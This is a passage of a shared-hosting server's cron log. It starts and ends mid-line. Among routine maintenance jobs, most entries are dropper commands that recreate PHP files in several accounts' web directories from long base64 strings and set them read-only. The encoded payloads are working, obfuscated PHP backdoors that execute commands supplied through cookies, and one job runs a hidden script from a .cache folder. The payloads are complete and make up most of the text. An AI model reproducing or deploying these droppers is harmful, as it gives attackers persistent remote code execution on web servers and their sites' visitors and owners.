X0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:36:02 medusa CROND[27248]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 14:36:02 medusa CROND[27252]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:36:02 medusa CROND[27251]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:36:02 medusa CROND[27254]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:36:02 medusa CROND[27255]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 14:36:02 medusa CROND[27257]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:36:02 medusa CROND[27258]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:36:02 medusa CROND[27261]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:37:02 medusa CROND[29137]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:37:02 medusa CROND[29138]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:37:02 medusa CROND[29139]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:37:02 medusa CROND[29140]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:37:02 medusa CROND[29141]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:37:02 medusa CROND[29144]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:37:02 medusa CROND[29145]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 14:37:02 medusa CROND[29146]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:37:02 medusa CROND[29148]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:37:02 medusa CROND[29152]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:37:02 medusa CROND[29154]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:37:02 medusa CROND[29155]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:37:02 medusa CROND[29157]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 14:38:01 medusa CROND[31017]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:38:01 medusa CROND[31018]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:38:01 medusa CROND[31019]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:38:01 medusa CROND[31020]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:38:01 medusa CROND[31021]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:38:01 medusa CROND[31022]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 14:38:01 medusa CROND[31023]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG5